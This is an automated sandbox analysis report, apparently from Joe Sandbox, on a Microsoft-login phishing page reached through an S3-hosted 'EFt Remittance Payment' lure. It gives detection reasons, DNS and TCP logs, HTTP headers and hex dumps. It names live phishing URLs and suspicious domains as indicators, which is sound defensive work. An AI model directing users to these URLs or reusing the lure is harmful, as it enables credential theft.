Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, ajax.googleapis.com, aadcdnoriginwus2.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, aadcdn.msauth.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, aadcdnoriginwus2.afd.azureedge.net, clients.l.google.com, c.pki.goog
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: https://s3.eu-central-1.amazonaws.com/mailo.html.prod/d684bfaf-79e4-4dfc-84aa-fdb21e3b152c.html

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, Exif Standard: [\012- TIFF image data, big-endian, direntries=2], baseline, precision 8, 1015x552, components 3
Category:	dropped
Size (bytes):	122598
Entropy (8bit):	7.541475918019594
Encrypted:	false
SSDEEP:	1536:rWA6YWN5dScIH8fMCZFPrLn0Hmm6wW0sO2prqbhAsdUa8wvwVfHkGb9m:KA1kicIdSL+6UsDRq1AsdUaSVhm
MD5:	0020F8D9F7D849B16513B70F31F25450
SHA1:	F7C6950E3CECE80C52F3EDADBD91E70A7CC95837
SHA-256:	9C465898C4BD14172CD3BEC7A750DBF0C5B72D7A7B87BDD993092B462E0C95CB
SHA-512:	CD63FCAA27EB7588C7AC75ABA3DA3F3D945A3DAA05083863D2E05293EF17293065B92212C053ACA9BA148D1A70A11B3C2C2C56E4ECA12F3B1C64E98F2F38E64E
Malicious:	false
Reputation:	low
Preview:	......JFIF..............Exif..MM........i.........2...........&..................................................................................................................................................................................................................................................................................................................00..........00.............t................................................................................................................................................................................................................................................................................2022:09:13 17:36:13.2022:09:13 17:36:13...............................................................................................................................................(.............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuv

Source: https://hjwe.mysteries.it.com/xT1tH/	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'hjwe.mysteries.it.com' does not match the legitimate domain for Microsoft., The URL contains multiple subdomains and an unusual structure, which is suspicious., The domain 'it.com' is not typically associated with Microsoft., The presence of input fields for 'Email, phone, or Skype' is common for phishing attempts targeting Microsoft accounts. DOM: 1.7.pages.csv
Source: https://hjwe.mysteries.it.com/xT1tH/	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'hjwe.mysteries.it.com' does not match the legitimate domain for Microsoft., The URL contains multiple subdomains and an unusual structure, which is often indicative of phishing., The domain 'it.com' is not associated with Microsoft and is suspicious in this context. DOM: 1.8.pages.csv

Source: Yara match	File source: 1.8.pages.csv, type: HTML
Source: Yara match	File source: 1.7.pages.csv, type: HTML

Source: https://hjwe.mysteries.it.com/xT1tH/	HTTP Parser: Invalid link: Privacy statement
Source: https://hjwe.mysteries.it.com/xT1tH/	HTTP Parser: Invalid link: Privacy statement

Source: https://s3.eu-central-1.amazonaws.com/mailo.html.prod/d684bfaf-79e4-4dfc-84aa-fdb21e3b152c.html	HTTP Parser: No favicon
Source: https://hjwe.mysteries.it.com/xT1tH/	HTTP Parser: No favicon
Source: https://hjwe.mysteries.it.com/xT1tH/	HTTP Parser: No favicon
Source: https://hjwe.mysteries.it.com/xT1tH/	HTTP Parser: No favicon
Source: https://hjwe.mysteries.it.com/xT1tH/	HTTP Parser: No favicon
Source: https://hjwe.mysteries.it.com/xT1tH/	HTTP Parser: No favicon
Source: https://hjwe.mysteries.it.com/xT1tH/	HTTP Parser: No favicon

Source: https://hjwe.mysteries.it.com/xT1tH/	HTTP Parser: No <meta name="author".. found
Source: https://hjwe.mysteries.it.com/xT1tH/	HTTP Parser: No <meta name="author".. found

Source: https://hjwe.mysteries.it.com/xT1tH/	HTTP Parser: No <meta name="copyright".. found
Source: https://hjwe.mysteries.it.com/xT1tH/	HTTP Parser: No <meta name="copyright".. found

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 208.89.73.25
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 208.89.73.25
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.64.67
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.64.67
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.64.67
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.64.67
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.64.67
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.64.67
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.64.67
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: s3.eu-central-1.amazonaws.com
Source: global traffic	DNS traffic detected: DNS query: hjwe.mysteries.it.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global traffic	DNS traffic detected: DNS query: 5025422507-1317754460.cos.ap-tokyo.myqcloud.com
Source: global traffic	DNS traffic detected: DNS query: 5025422507.sbs
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 24, 2025 16:34:46.792247057 CET	53	53902	1.1.1.1	192.168.2.4
Mar 24, 2025 16:34:46.896605968 CET	53	65222	1.1.1.1	192.168.2.4
Mar 24, 2025 16:34:47.626173019 CET	53	53800	1.1.1.1	192.168.2.4
Mar 24, 2025 16:34:50.554703951 CET	52340	53	192.168.2.4	1.1.1.1
Mar 24, 2025 16:34:50.554992914 CET	57171	53	192.168.2.4	1.1.1.1
Mar 24, 2025 16:34:50.665745974 CET	53	52340	1.1.1.1	192.168.2.4
Mar 24, 2025 16:34:50.666337013 CET	53	57171	1.1.1.1	192.168.2.4
Mar 24, 2025 16:34:51.692327023 CET	60793	53	192.168.2.4	1.1.1.1
Mar 24, 2025 16:34:51.692507982 CET	52490	53	192.168.2.4	1.1.1.1
Mar 24, 2025 16:34:51.799073935 CET	53	52490	1.1.1.1	192.168.2.4
Mar 24, 2025 16:34:51.803272009 CET	53	60793	1.1.1.1	192.168.2.4
Mar 24, 2025 16:34:53.359513044 CET	49399	53	192.168.2.4	1.1.1.1
Mar 24, 2025 16:34:53.359695911 CET	50061	53	192.168.2.4	1.1.1.1
Mar 24, 2025 16:34:53.466114998 CET	53	50061	1.1.1.1	192.168.2.4
Mar 24, 2025 16:34:53.468904018 CET	53	49399	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:02.498048067 CET	60161	53	192.168.2.4	1.1.1.1
Mar 24, 2025 16:35:02.498626947 CET	65499	53	192.168.2.4	1.1.1.1
Mar 24, 2025 16:35:02.614567041 CET	53	65499	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:02.647103071 CET	53	60161	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:03.404357910 CET	49852	53	192.168.2.4	1.1.1.1
Mar 24, 2025 16:35:03.404504061 CET	51888	53	192.168.2.4	1.1.1.1
Mar 24, 2025 16:35:03.404925108 CET	59845	53	192.168.2.4	1.1.1.1
Mar 24, 2025 16:35:03.405065060 CET	49436	53	192.168.2.4	1.1.1.1
Mar 24, 2025 16:35:03.518845081 CET	53	49852	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:03.521809101 CET	53	51888	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:03.521881104 CET	53	59845	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:03.522201061 CET	53	49436	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:04.558522940 CET	58211	53	192.168.2.4	1.1.1.1
Mar 24, 2025 16:35:04.558837891 CET	61428	53	192.168.2.4	1.1.1.1
Mar 24, 2025 16:35:04.611370087 CET	53	61477	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:04.662687063 CET	53	58211	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:04.664128065 CET	53	61428	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:05.738847017 CET	54482	53	192.168.2.4	1.1.1.1
Mar 24, 2025 16:35:05.739007950 CET	60552	53	192.168.2.4	1.1.1.1
Mar 24, 2025 16:35:05.842451096 CET	53	54482	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:05.842680931 CET	53	60552	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:06.298928022 CET	57033	53	192.168.2.4	1.1.1.1
Mar 24, 2025 16:35:06.299067974 CET	62129	53	192.168.2.4	1.1.1.1
Mar 24, 2025 16:35:06.404227018 CET	53	57033	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:06.405015945 CET	53	62129	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:16.350316048 CET	49891	53	192.168.2.4	1.1.1.1
Mar 24, 2025 16:35:16.350474119 CET	63504	53	192.168.2.4	1.1.1.1
Mar 24, 2025 16:35:16.350959063 CET	57376	53	192.168.2.4	1.1.1.1
Mar 24, 2025 16:35:16.351100922 CET	50641	53	192.168.2.4	1.1.1.1
Mar 24, 2025 16:35:16.351499081 CET	53616	53	192.168.2.4	1.1.1.1
Mar 24, 2025 16:35:16.351722956 CET	54125	53	192.168.2.4	1.1.1.1
Mar 24, 2025 16:35:16.353069067 CET	54458	53	192.168.2.4	1.1.1.1
Mar 24, 2025 16:35:16.353451967 CET	51608	53	192.168.2.4	1.1.1.1
Mar 24, 2025 16:35:16.353715897 CET	65086	53	192.168.2.4	1.1.1.1
Mar 24, 2025 16:35:16.353936911 CET	52362	53	192.168.2.4	1.1.1.1
Mar 24, 2025 16:35:16.455116034 CET	53	49891	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:16.455708027 CET	53	63504	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:16.456078053 CET	53	54125	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:16.456274033 CET	53	53616	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:16.456410885 CET	53	50641	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:16.456737995 CET	53	57376	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:16.456757069 CET	53	53308	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:16.458602905 CET	53	54458	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:16.459851027 CET	53	51608	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:17.043221951 CET	53	52362	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:17.241900921 CET	53	65086	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:19.772758007 CET	63761	53	192.168.2.4	1.1.1.1
Mar 24, 2025 16:35:19.773034096 CET	57348	53	192.168.2.4	1.1.1.1
Mar 24, 2025 16:35:19.985387087 CET	53	57348	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:19.997060061 CET	53	63761	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:21.238099098 CET	56667	53	192.168.2.4	1.1.1.1
Mar 24, 2025 16:35:21.238317966 CET	50889	53	192.168.2.4	1.1.1.1
Mar 24, 2025 16:35:21.451781988 CET	53	56667	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:23.442404032 CET	53	52783	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:24.149827957 CET	64087	53	192.168.2.4	1.1.1.1
Mar 24, 2025 16:35:24.150079966 CET	61863	53	192.168.2.4	1.1.1.1
Mar 24, 2025 16:35:24.253988028 CET	53	61863	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:24.256201982 CET	53	64087	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:24.368311882 CET	53	52939	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:24.670640945 CET	62858	53	192.168.2.4	1.1.1.1
Mar 24, 2025 16:35:24.670892954 CET	49251	53	192.168.2.4	1.1.1.1
Mar 24, 2025 16:35:24.775625944 CET	53	62858	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:24.777853012 CET	53	49251	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:31.313059092 CET	53	63793	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:45.849921942 CET	53	62364	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:46.290339947 CET	53	56142	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:48.988101006 CET	53	51733	1.1.1.1	192.168.2.4
Mar 24, 2025 16:35:50.078068018 CET	138	138	192.168.2.4	192.168.2.255

Timestamp	Bytes transferred	Direction	Data
Mar 24, 2025 16:34:58.149760962 CET	202	OUT	GET /r/gsr1.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 24, 2025 16:34:58.250019073 CET	223	IN	HTTP/1.1 304 Not Modified Date: Mon, 24 Mar 2025 15:13:27 GMT Expires: Mon, 24 Mar 2025 16:03:27 GMT Age: 1291 Last-Modified: Tue, 07 Jan 2025 07:28:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding
Mar 24, 2025 16:34:58.260979891 CET	200	OUT	GET /r/r4.crl HTTP/1.1 Cache-Control: max-age = 3000 Connection: Keep-Alive Accept: / If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMT User-Agent: Microsoft-CryptoAPI/10.0 Host: c.pki.goog
Mar 24, 2025 16:34:58.361557007 CET	223	IN	HTTP/1.1 304 Not Modified Date: Mon, 24 Mar 2025 15:13:30 GMT Expires: Mon, 24 Mar 2025 16:03:30 GMT Age: 1288 Last-Modified: Thu, 25 Jul 2024 14:48:00 GMT Cache-Control: public, max-age=3000 Vary: Accept-Encoding

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:34:52 UTC	736	OUT	GET /mailo.html.prod/d684bfaf-79e4-4dfc-84aa-fdb21e3b152c.html HTTP/1.1 Host: s3.eu-central-1.amazonaws.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 15:34:52 UTC	434	IN	HTTP/1.1 200 OK x-amz-id-2: ZjN5rYVHmewNqpMZxwtKC0uBe/MapYwq2r6h1AakP3Q1qFkFsB1e+iW5EHw2l6NZJElKB+HF7dtvA6f+l9X5hBtKdLUJfAwj x-amz-request-id: TX61FPTA2EZ68YP5 Date: Mon, 24 Mar 2025 15:34:53 GMT Last-Modified: Mon, 24 Mar 2025 14:47:16 GMT ETag: "55557cfae1c2dc9397fcd464e24f84b6" x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Content-Type: text/html Content-Length: 8953 Server: AmazonS3 Connection: close
2025-03-24 15:34:52 UTC	8953	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 6e 73 3a 76 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 3a 76 6d 6c 22 20 78 6d 6c 6e 73 3a 6f 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 6d 69 63 72 6f 73 6f 66 74 2d 63 6f 6d 3a 6f 66 66 69 63 65 3a 6f 66 66 69 63 65 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 20 45 46 74 20 52 65 6d 69 74 74 61 6e 63 65 20 50 61 79 6d 65 6e 74 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 21 2d 2d 5b 69 66 20 21 6d 73 6f 5d 3e 3c 21 2d 2d 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 Data Ascii: <!doctype html><html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office"><head> <title> EFt Remittance Payment </title> ...[if !mso]>...> <meta http-equiv="X-UA-Compatib

Timestamp	Bytes transferred	Direction	Data
2025-03-24 15:34:52 UTC	729	OUT	GET /mailo.images.prod/5dc9ee2eff3f849325a56821f5133a4fba849398.jpg HTTP/1.1 Host: s3.eu-central-1.amazonaws.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://s3.eu-central-1.amazonaws.com/mailo.html.prod/d684bfaf-79e4-4dfc-84aa-fdb21e3b152c.html Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-24 15:34:52 UTC	451	IN	HTTP/1.1 200 OK x-amz-id-2: QhXrPu3Pnb0h/pEEpDiQE6+SLasGLKFPqBxgzu6cT3ZE2XrCHForoJ/Rh0VdEJR4LuACsJKkM9Dcx1vNPOBp2ncciH0NV11J x-amz-request-id: TX6D47YKN4DZSRW9 Date: Mon, 24 Mar 2025 15:34:53 GMT Last-Modified: Fri, 21 Mar 2025 13:26:14 GMT ETag: "0020f8d9f7d849b16513b70f31f25450" x-amz-server-side-encryption: AES256 Accept-Ranges: bytes Content-Type: application/octet-stream Content-Length: 122598 Server: AmazonS3 Connection: close
2025-03-24 15:34:52 UTC	16384	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e1 02 b2 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 02 87 69 00 04 00 00 00 01 00 00 01 32 ea 1c 00 07 00 00 01 0c 00 00 00 26 00 00 00 00 1c ea 00 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: JFIFExifMM*i2&
2025-03-24 15:34:52 UTC	573	IN	Data Raw: d2 f5 5d 58 de 68 3d fc 49 a5 ff 00 6a 00 7d df 40 05 00 7e 62 ff 00 c1 4b 3f e0 a5 fe 18 ff 00 82 6e 69 bf b3 56 a5 e2 4f 85 3e 20 f8 a0 9f b4 7f c7 cf 0f fc 0d d3 23 d1 3c 47 a5 f8 73 fe 11 6b fd 62 d4 5d ff 00 6f 5d 7d b2 c7 52 fb 6d 96 9e 78 fe cf f7 eb c1 a0 0f d3 aa 00 28 03 e1 6f db 93 fe 0a 2b fb 36 7f c1 3d ec fe 09 df fe d1 57 fe 30 b0 b3 f8 f9 f1 57 4f f8 49 e0 df f8 43 fc 2f 75 e2 3f 27 58 bc b5 b3 bc bb d7 fc 45 fe 9d a6 fd 8b c2 ba 77 da ed 3f b5 b5 0d 3b fb 53 55 ff 00 4b ff 00 89 3e 93 aa 50 07 dd 34 00 50 01 40 05 00 14 00 50 01 40 05 00 14 00 50 01 40 05 00 14 00 50 01 40 05 00 14 00 50 01 40 05 00 14 00 50 01 40 05 00 14 00 50 01 40 05 00 14 00 50 01 40 05 00 14 00 50 01 40 05 00 14 00 50 01 40 05 00 14 00 50 01 40 05 00 14 00 50 01 40 Data Ascii: ]Xh=Ij}@~bK?niVO> #<Gskb]o]}Rmx(o+6=W0WOIC/u?'XEw?;SUK>P4P@P@P@P@P@P@P@P@P@P@P@P@
2025-03-24 15:34:52 UTC	16384	IN	Data Raw: 6e 3f ad 70 e1 bf 88 bf af b3 20 a9 d3 e7 fa 1b b5 e8 19 85 00 28 ea 3e a3 f9 d0 02 50 01 40 05 00 28 ea 3e a3 f9 d0 07 f2 4d ff 00 07 11 d8 69 da bf fc 14 bb fe 0d d4 d0 f5 8d 3a c3 55 d2 b5 9f db 62 fb 4b d5 74 9d 52 d5 6f ec 35 3d 3e ef f6 81 fd 87 ac ee f4 cd 5b 48 39 37 b6 7a 85 89 c6 a9 65 a8 0c ea 60 b7 23 76 08 07 eb bf fc 14 bb f6 23 ff 00 82 7c 78 cf f6 2a fd a5 b5 9f 8f 7f 02 3e 04 78 57 c3 1e 0f f8 37 f1 03 c4 f1 7c 50 b6 f8 7d e0 3f 0a f8 c7 e1 c6 b1 a4 78 5b 59 bb f0 ff 00 89 fc 27 e3 7b 2d 13 4d d4 2c b5 cd 3f 5b fb 27 f6 56 9d a7 6a 9f f1 55 6a b7 9f d8 f8 d5 34 7d 4b fb 2a 80 3e 1a ff 00 83 5e 3c 7f e2 f8 ff 00 e0 8d be 0a f1 0f c5 ed 6e e3 4d f0 47 c3 ff 00 88 df 1e 22 f0 3f 8a 3c 4f 7d 78 2c 34 df 83 fe 1b d4 c6 b1 79 74 35 6b fc d8 d9 Data Ascii: n?p (>P@(>Mi:UbKtRo5=>[H97ze`#v#\|x>xW7\|P}?x[Y'{-M,?['VjUj4}K>^<nMG"?<O}x,4yt5k
2025-03-24 15:34:52 UTC	1024	IN	Data Raw: 6c f5 6f 0d 68 de 21 d4 bc 3f fd b5 69 7f 60 3c 6f e2 3d 6f c7 1e 09 f0 07 84 cd fe 98 5b fe 2a 3d 77 c5 da 3e a9 fd af e1 bd 31 80 07 82 7c 09 ff 00 83 52 7f 61 e8 7c 18 75 ef db 53 c7 1f 1a ff 00 6a af da 4b c6 29 73 ad fc 54 f8 9f 7f f1 3f c4 fe 15 d2 a6 f1 8e b3 8b cd 5a eb c3 d6 96 37 83 c4 17 a3 4d 1c 8d 7f e2 1f 89 7c 4f a9 f8 a3 55 3a 86 af ab 2e 92 0f f6 4e 96 01 f0 bf c6 2f 86 9f 14 bf e0 d7 ef da 8f f6 7f f8 af f0 5f e3 37 c5 8f 88 ff 00 f0 4a 2f da 4f e2 77 fc 20 7f 1b 3e 0d fc 40 96 db c5 43 e1 0f 88 6f 34 c3 7b 77 aa 69 57 56 56 2d 61 7d e2 d3 a1 9d 7f c7 9e 10 d7 7c 35 a4 f8 57 c5 1e 2a d2 be 1c 6b bf 0f 3c 66 da 8a a6 9b ab 30 07 de bf f0 76 e4 76 ba a7 fc 12 df c0 70 a5 e5 bc 36 da 87 ed 7d f0 62 21 79 fe be 08 be d9 e0 2f 8c 1f e9 5f f8 Data Ascii: loh!?i`<o=o[=w>1\|Ra\|uSjK)sT?Z7M\|OU:.N/_7J/Ow >@Co4{wiWVV-a}\|5Wk<f0vvp6}b!y/_
2025-03-24 15:34:52 UTC	16384	IN	Data Raw: 6c f1 87 ec 3d fb 40 7c 2b f1 bd c0 c7 9d 67 fb 40 78 3f e1 2f 8b fc 07 e2 1d 52 ee d3 27 ec 47 c4 5a e5 a5 a7 c4 0d 27 4f ff 00 a1 57 c4 96 22 80 3c 1b fe 0d 40 d6 3c 31 7f ff 00 04 8d f0 b5 9e 83 e4 7f 6c 68 1f 1f 3e 33 e9 be 37 f2 64 b6 9c ff 00 c2 50 da 96 8d ad 5a 8b bc e4 d9 de 8f 03 ea de 13 c5 8f f1 69 3f 37 19 a0 0f e9 56 80 3f 91 3f f8 3b 17 48 d7 bc 49 e1 8f f8 26 3f 87 bc 27 e2 17 f0 7f 8a 75 bf db 1c e8 fe 1d f1 5c 36 c6 69 7c 2f e2 0d 5f 4a f0 dd ae 95 e2 6b 6b 50 41 bd 1e 1f bd ba b5 bf 18 3b 89 b3 00 1c f2 00 3d b7 fe 1d 21 ff 00 05 c2 ff 00 a4 fe f8 df ff 00 11 ea df ff 00 9b 9a 00 fc b7 d0 7f 66 ff 00 da c3 f6 64 ff 00 83 95 3f e0 98 1e 0d fd af ff 00 6c 6d 63 f6 d4 f1 f6 b9 f0 6f e2 07 8a 3c 37 f1 1f 5a f0 90 f0 4d c7 86 fc 1f 79 e0 4f Data Ascii: l=@\|+g@x?/R'GZ'OW"<@<1lh>37dPZi?7V??;HI&?'u\6i\|/_JkkPA;=!fd?lmco<7ZMyO
